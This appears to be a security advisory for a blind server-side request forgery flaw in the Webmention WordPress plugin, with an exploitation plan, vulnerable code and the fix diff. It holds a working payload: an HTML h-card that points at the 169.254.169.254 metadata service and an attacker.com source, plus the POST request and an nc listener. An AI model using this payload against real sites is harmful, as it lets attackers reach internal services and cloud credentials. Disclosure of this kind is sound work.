Webmention <= 5.6.2 - Unauthenticated Blind Server-Side Request Forgery
Description
The Webmention plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.6.2 in the 'MF2::parse_authorpage' function via the 'Receiver::post' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.7.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0686 (Webmention SSRF) ## 1. Vulnerability Summary The **Webmention** plugin (versions <= 5.6.2) is vulnerable to a Blind Server-Side Request Forgery (SSRF). The vulnerability exists because the plugin automatically fetches and processes remote URLs provided i…
Show full research plan
Exploitation Research Plan: CVE-2026-0686 (Webmention SSRF)
1. Vulnerability Summary
The Webmention plugin (versions <= 5.6.2) is vulnerable to a Blind Server-Side Request Forgery (SSRF). The vulnerability exists because the plugin automatically fetches and processes remote URLs provided in Webmention "source" documents to extract metadata, specifically author avatars.
When a Webmention is received, the plugin parses the source page for Microformats (MF2). If it identifies an author with a photo URL, the Webmention\Avatar_Store::store_avatar function eventually triggers Webmention\Avatar_Store::sideload_avatar, which calls the WordPress download_url() function on the provided photo URL without sufficient validation against internal or restricted IP addresses. This allows an unauthenticated attacker to force the server to make GET requests to arbitrary internal or external locations.
2. Attack Vector Analysis
- Endpoint: The Webmention receiving endpoint. By default, this is often handled via the REST API or a query parameter.
- REST Route:
POST /wp-json/webmention/1.0/endpoint(Standard Webmention REST endpoint). - Alternative Endpoint:
POST /?webmention=endpoint(Legacy/fallback). - Parameters:
source: URL of the attacker-controlled page containing MF2 markup.target: URL of a valid post/page on the target WordPress site that accepts Webmentions.
- Authentication: Unauthenticated. Webmentions are designed to be received from external, untrusted servers.
- Preconditions:
- At least one post/page must exist on the WordPress site.
- Webmentions must be enabled (usually enabled by default for posts).
3. Code Flow
- Entry Point: A
POSTrequest is sent to the Webmention endpoint (e.g.,wp-json/webmention/1.0/endpoint). - Reception: The
Receiver::postfunction (referenced in the CVE) handles the request, validating thesourceandtarget. - Parsing: The plugin fetches the
sourceURL and passes the response toWebmention\Handler\MF2::parse. - Metadata Extraction:
MF2::parsecallsMF2::get_representative_author.MF2::set_property_authorextracts thephotoproperty from the author's h-card:foreach ( array( ..., 'photo' ) as $prop ) { $author[ $prop ] = $this->get_plaintext( $properties, $prop ); }
- Comment Creation: A WordPress comment is created to represent the Webmention. The extracted author data (including the
photoURL) is stored in comment metadata. - Triggering the Sink: The
comment_postaction fires, triggeringWebmention\Avatar_Store::init->Webmention\Avatar_Store::store_avatar. - SSRF Execution:
store_avatarcallsWebmention\Avatar_Store::sideload_avatar( $avatar, ... ).sideload_avatarcalls the vulnerable sink:$file = download_url( $url, 300 ); // $url is the attacker-controlled photo URLdownload_url()(a WordPress core function) performs a GET request to the URL.
4. Nonce Acquisition Strategy
The Webmention endpoint (wp-json/webmention/1.0/endpoint) does not require a nonce because it is a server-to-server communication protocol. The standard specification for Webmention explicitly avoids CSRF tokens for the reception endpoint to allow notifications from any external source.
Verification of Nonce-less Access:
- Check the REST API registration (likely in
includes/class-receiver.php, though not provided). - Standard Webmention implementations use
permission_callback => '__return_true'.
5. Exploitation Strategy
The goal is to force the WordPress server to request an internal resource (e.g., a metadata service or internal web app).
Step-by-Step Plan:
- Identify Target: Find a valid post URL on the target site (e.g.,
http://localhost:8080/?p=1). - Prepare Malicious Source: Create a publicly accessible HTML file (e.g.,
exploit.html) containing Microformats markup with an SSRF payload in theu-photofield.<div class="h-entry"> <a class="u-url" href="http://attacker.com/exploit.html">Post Title</a> <p class="p-content">This is a test webmention.</p> <a class="u-in-reply-to" href="http://localhost:8080/?p=1">Target Post</a> <div class="p-author h-card"> <span class="p-name">Attacker</span> <!-- SSRF TARGET BELOW --> <img class="u-photo" src="http://169.254.169.254/latest/meta-data/" /> </div> </div> - Send Webmention: Use
http_requestto send a POST request to the Webmention endpoint.
Request Details:
- Method:
POST - URL:
http://localhost:8080/wp-json/webmention/1.0/endpoint - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
source=http://attacker-controlled-site.com/exploit.html&target=http://localhost:8080/?p=1
6. Test Data Setup
- Target Post: Ensure a post exists.
wp post create --post_type=post --post_title="Target Post" --post_status=publish - Plugin Configuration: Ensure Webmentions are enabled for posts (default behavior).
- Attacker Listener: Use a tool like
nc -lvp 80or a webhook listener if testing for basic SSRF, or targethttp://localhost:8080/wp-admin/to verify internal access.
7. Expected Results
- The plugin will respond with an HTTP
202 Acceptedor200 OKindicating the webmention is being processed. - The WordPress server will make an outbound HTTP GET request to the URL specified in the
u-photoattribute (http://169.254.169.254/latest/meta-data/). - If an internal listener is used, the listener will receive a request from the WordPress server's IP with a User-Agent like
WordPress/X.X.X; http://localhost:8080.
8. Verification Steps
- Check Comment Meta: After the request, verify if the comment was created and if the avatar URL was stored.
wp comment list --number=1 --format=json # Identify the comment ID, then check its meta: wp comment meta get <ID> avatar - Verify Sideloading attempt: Check the
wp-content/uploads/webmention/avatars/directory to see if the plugin attempted to save the result of the SSRF.ls -R /var/www/html/wp-content/uploads/webmention/ - Examine Access Logs: Check the logs of the internal service being targeted to confirm the hit from the WordPress server.
9. Alternative Approaches
Author Page SSRF (Blind)
If the photo property processing fails, the CVE also mentions MF2::parse_authorpage. This occurs when the h-card author is just a URL.
- Source Markup:
<div class="h-entry"> <a class="u-in-reply-to" href="http://localhost:8080/?p=1">Target</a> <a class="p-author" href="http://INTERNAL-SERVICE:8080/api/endpoint">Author</a> </div> - Effect: The plugin may attempt to fetch the author's URL to find an
h-cardon that page, triggering a GET request to the internal service.
Avatar Metadata Trigger
If the comment_post hook is somehow avoided, editing the comment in the admin dashboard (if a moderator views it) might also trigger Avatar_Store::store_avatar via the edit_comment hook:
add_action( 'edit_comment', array( static::class, 'store_avatar' ), 20 );
Summary
The Webmention plugin for WordPress is vulnerable to unauthenticated blind Server-Side Request Forgery (SSRF) when processing incoming webmentions. It fails to validate remote URLs before fetching them to extract author avatars or parse author pages, allowing an attacker to force the server to make requests to internal services or arbitrary external locations.
Vulnerable Code
// includes/handler/class-mf2.php line 875 public function parse_authorpage( $url ) { $response = Request::get( $url, false ); if ( is_wp_error( $response ) ) { return $response; } --- // includes/class-avatar-store.php line 124 // Download Profile Picture and add as attachment $file = wp_get_image_editor( download_url( $url, 300 ) ); if ( is_wp_error( $file ) ) { return false; }
Security Fix
@@ -78,7 +78,7 @@ $target = $request->get_param( 'target' ); $mode = $request->get_param( 'mode' ); - $response = Request::get( $source, false ); + $response = Request::get( $source ); if ( is_wp_error( $response ) ) { return $response; @@ -875,7 +875,7 @@ * @return WP_Error|array Return error or author array if successful. */ public function parse_authorpage( $url ) { - $response = Request::get( $url, false ); + $response = Request::get( $url ); if ( is_wp_error( $response ) ) { return $response;
Exploit Outline
1. An attacker hosts a malicious HTML page containing Microformats 2 (MF2) markup (e.g., an h-entry with an h-card author). 2. Inside the MF2 markup, the attacker specifies a URL to an internal or restricted resource (like AWS metadata services at 169.254.169.254) within the 'u-photo' property or the 'p-author' URL. 3. The attacker identifies a public post on the target WordPress site that accepts Webmentions. 4. The attacker sends an unauthenticated POST request to the Webmention REST API endpoint (typically /wp-json/webmention/1.0/endpoint) with 'source' set to their malicious page and 'target' set to the identified post. 5. The plugin fetches the source page, parses the MF2 data, and automatically triggers an HTTP GET request to the attacker's internal target URL via the Avatar_Store::sideload_avatar function (using download_url) or the MF2::parse_authorpage function (using Request::get with security checks explicitly disabled).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.